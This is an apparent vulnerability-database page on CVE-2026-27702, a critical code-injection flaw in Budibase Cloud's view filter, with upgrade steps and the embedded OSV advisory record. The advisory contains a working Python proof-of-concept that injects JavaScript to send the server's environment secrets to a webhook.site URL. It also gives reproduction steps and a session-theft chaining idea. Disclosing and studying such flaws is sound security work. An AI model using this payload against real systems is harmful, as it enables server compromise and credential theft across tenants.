CVE-2026-27702: Budibase Remote Code Execution Vulnerability
CRITICALCVE-2026-27702 is a CRITICAL (CVSS 9.9) remote code execution vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting Budibase libraries in the npm ecosystem. The issue involves remote code execution via unsafe eval() in view filter map function (budibase cloud). Remediation is available by upgrading affected packages to version 3.30.4.
CVE-2026-27702 at a Glance
Security Impact
CVSS: 9.9
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L).
How to Fix CVE-2026-27702
To remediate this vulnerability, upgrade all affected Budibase dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install budibase@3.30.4
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls budibase
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-27702, inspect your project dependencies using npm:
npm ls budibase
Analyze the terminal output to locate any version of Budibase in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.30.4), your application is affected.
Note: The npm ls budibase command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In Budibase, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-27702 Affected Budibase Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
budibase
|
npm |
< 3.30.4
|
3.30.4
|
References
Frequently Asked Questions
What is CVE-2026-27702?
Which Budibase versions are affected?
What version fixes CVE-2026-27702?
Is budibase affected?
What is the CVSS score of CVE-2026-27702?
What CWE is associated with CVE-2026-27702?
How can I check npm dependencies for CVE-2026-27702?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-rvhr-26g4-p2r8",
"modified" : "2026-02-25T18:57:39Z",
"published" : "2026-02-25T18:57:39Z",
"aliases" : [ "CVE-2026-27702" ],
"summary" : "Budibase: Remote Code Execution via Unsafe eval() in View Filter Map Function (Budibase Cloud)",
"details" : "## Summary\n\nA critical unsafe `eval()` vulnerability in Budibase's view filtering implementation allows any authenticated user (including free tier accounts) to execute arbitrary JavaScript code on the server. **This vulnerability ONLY affects Budibase Cloud (SaaS)** - self-hosted deployments use native CouchDB views and are not vulnerable. The vulnerability exists in `packages/server/src/db/inMemoryView.ts` where user-controlled view map functions are directly evaluated without sanitization.\n\nThe primary impact comes from what lives inside the pod's environment: the `app-service` pod runs with **secrets baked into its environment variables**, including `INTERNAL_API_KEY`, `JWT_SECRET`, CouchDB admin credentials, AWS keys, and more. Using the extracted CouchDB credentials, we verified direct database access, enumerated all tenant databases, and confirmed that user records (email addresses) are readable.\n\n## Details\n\n### Root Cause\n\nFile: `packages/server/src/db/inMemoryView.ts:28`\n\n```javascript\nexport async function runView(\n view: DBView,\n calculation: string,\n group: boolean,\n data: Row[]\n) {\n // ...\n let fn = (doc: Document, emit: any) => emit(doc._id)\n // BUDI-7060 -> indirect eval call appears to cause issues in cloud\n eval(\"fn = \" + view?.map?.replace(\"function (doc)\", \"function (doc, emit)\")) // UNSAFE EVAL\n // ...\n}\n```\n\n**Why Only Cloud is Vulnerable:**\n\nFile: `packages/server/src/sdk/workspace/rows/search/internal/internal.ts:194-221`\n\n```typescript\nif (env.SELF_HOSTED) {\n // Self-hosted: Uses native CouchDB design documents - NO EVAL\n response = await db.query(`database/${viewName}`, {\n include_docs: !calculation,\n group: !!group,\n })\n} else {\n // Cloud: Uses in-memory PouchDB with UNSAFE EVAL\n const tableId = viewInfo.meta!.tableId\n const data = await fetchRaw(tableId!)\n response = await inMemoryViews.runView( // <- Calls vulnerable function\n viewInfo,\n calculation as string,\n !!group,\n data\n )\n}\n```\n\nThe `view.map` parameter comes directly from user input when creating table views with filters. The code constructs a string by concatenating `\"fn = \"` with the user-controlled map function and passes it to `eval()`, allowing arbitrary JavaScript execution in the Node.js server context.\n\n**Self-hosted deployments are not affected** because they use native CouchDB design documents instead of the in-memory eval() path.\n\n### Attack Flow\n\n1. Authenticated user creates a table view with custom filter\n2. Frontend sends POST request to `/api/views` with malicious payload in filter value\n3. Backend stores view configuration in CouchDB\n4. When view is queried (GET `/api/views/{viewName}`), `runView()` is called\n5. Malicious code is `eval()`'d on server - RCE achieved\n\n### Exploitation Vector\n\nThe vulnerability is triggered via the view filter mechanism. When creating a view with a filter condition, the filter value can be injected with JavaScript code that breaks out of the intended expression context:\n\n**Malicious filter value:**\n```javascript\nx\" || (MALICIOUS_CODE_HERE, true) || \"\n```\n\nThis payload:\n- Closes the expected string context with `x\"`\n- Uses `||` (OR operator) to inject arbitrary code\n- Returns `true` to make the filter always match\n- Closes with `|| \"\"` to maintain valid syntax\n\n### Verified on Production\n\nTested on own Budibase Cloud account (y4ylfy7m.budibase.app,) to confirm severity. Testing was deliberately limited - no customer data was retained and exploitation was stopped once impact was confirmed:\n- Achieved RCE on `app-service` pod (hostname: `app-service-5f4f6d796d-p6dhz`, Kubernetes, `eu-west-1`)\n- Extracted `process.env` - confirmed presence of platform secrets (`JWT_SECRET`, `INTERNAL_API_KEY`, `COUCH_DB_URL`, `MINIO_ACCESS_KEY`, etc.)\n- Used extracted `COUCH_DB_URL` credentials to verify CouchDB access - enumerated database list (489,827 databases) to confirm scale of impact\n- Queried users table to confirm data is readable (retrieved email addresses)\n- Uploaded an HTML file as a PoC artifact to confirm write access.\n\n\n\n\n\n## Proof of Concept\n\n### PoC Script\n\n```python\nimport requests, time\nfrom urllib.parse import urlparse\n\n# Config | CHANGE THESE\nURL = \"https://[YOUR-TENANT].budibase.app\"\nWEBHOOK = \"https://webhook.site/[YOUR-WEBHOOK-ID]\"\nJWT = \"[YOUR-JWT-TOKEN]\" # budibase:auth cookie value\nAPP_ID = \"app_dev_[TENANT]_[APP-UUID]\" # x-budibase-app-id header\nTABLE_ID = \"[YOUR-TABLE-ID]\" # any table ID (e.g. ta_users)\n\n# Payload - parses hostname/path from WEBHOOK automatically\nwebhook_parsed = urlparse(WEBHOOK)\nview = f\"RCE_{int(time.time())}\"\npayload = f'''x\" || (require('https').request({{hostname:'{webhook_parsed.hostname}',path:'{webhook_parsed.path}',method:'POST'}}).end(JSON.stringify(process.env)), true) || \"'''\n\n# Exploit\ns = requests.Session()\ns.cookies.set('budibase:auth', JWT)\ns.headers.update({\"x-budibase-app-id\": APP_ID, \"Content-Type\": \"application/json\"})\n\nprint(f\"[*] Creating view...\")\ns.post(f\"{URL}/api/views\", json={\"tableId\": TABLE_ID, \"name\": view, \"filters\": [{\"key\": \"email\", \"condition\": \"EQUALS\", \"value\": payload}]})\n\nprint(f\"[*] Triggering RCE...\")\ns.get(f\"{URL}/api/views/{view}\")\n\nprint(f\"[+] Done! Check: {WEBHOOK}\")\n```\n\n### Video Demo\nhttps://github.com/user-attachments/assets/cd12e1ab-02fd-4d0d-9fb5-d78bb83cdf99\n\n\n### Reproduction Steps\n\n1. **Prerequisites:**\n - Create free Budibase Cloud account at https://budibase.app\n - Create a new app\n - Create a table with at least one text field\n\n2. **Exploitation:**\n - Copy the PoC script above\n - Replace placeholders with your tenant URL, app ID, table ID\n - Get your JWT token from browser cookies (`budibase:auth`)\n - Create a webhook at https://webhook.site for exfiltration\n - Run the script: `python3 budibase_rce_poc.py`\n\n3. **Verification:**\n - Check webhook.site - you'll receive all server environment variables\n - Extracted data includes JWT_SECRET, INTERNAL_API_KEY, database credentials\n\n## Additional Note\n\nThe `budibase:auth` session cookie has `Domain=.budibase.app` (leading dot = all subdomains) and no `HttpOnly` flag, making it readable by JavaScript. Since the RCE allows uploading arbitrary HTML files to any subdomain (as demonstrated with the PoC artifact), an attacker could serve an XSS payload from their own tenant subdomain and steal session cookies from any Budibase Cloud user who visits that page (one click ATO).\n\n## Responsible Disclosure Statement\n\nThis vulnerability was discovered during independent security research. Testing was conducted on a personal free-tier account only. Exploitation was deliberately limited to what was necessary to confirm the vulnerability and its impact:\n\n- No customer data was accessed beyond enumerating database names and confirming that user records (email addresses) are readable\n- The PoC HTML file uploaded to confirm write access is benign\n- This report is being submitted directly to Budibase security with no plans for public disclosure until a fix is in place\n- **Before any public disclosure, this report must be redacted/simplified** - all credentials, hostnames, internal API keys, tenant IDs, and other sensitive platform details included here for Budibase's remediation purposes must be removed or redacted",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "budibase"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "3.30.4"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/Budibase/budibase/security/advisories/GHSA-rvhr-26g4-p2r8"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-27702"
}, {
"type" : "WEB",
"url" : "https://github.com/Budibase/budibase/pull/18087"
}, {
"type" : "WEB",
"url" : "https://github.com/Budibase/budibase/commit/348659810cf930dda5f669e782706594c547115d"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/Budibase/budibase"
}, {
"type" : "WEB",
"url" : "https://github.com/Budibase/budibase/releases/tag/3.30.4"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-20", "CWE-94", "CWE-95" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2026-02-25T18:57:39Z",
"nvd_published_at" : "2026-02-25T16:23:26Z"
}
}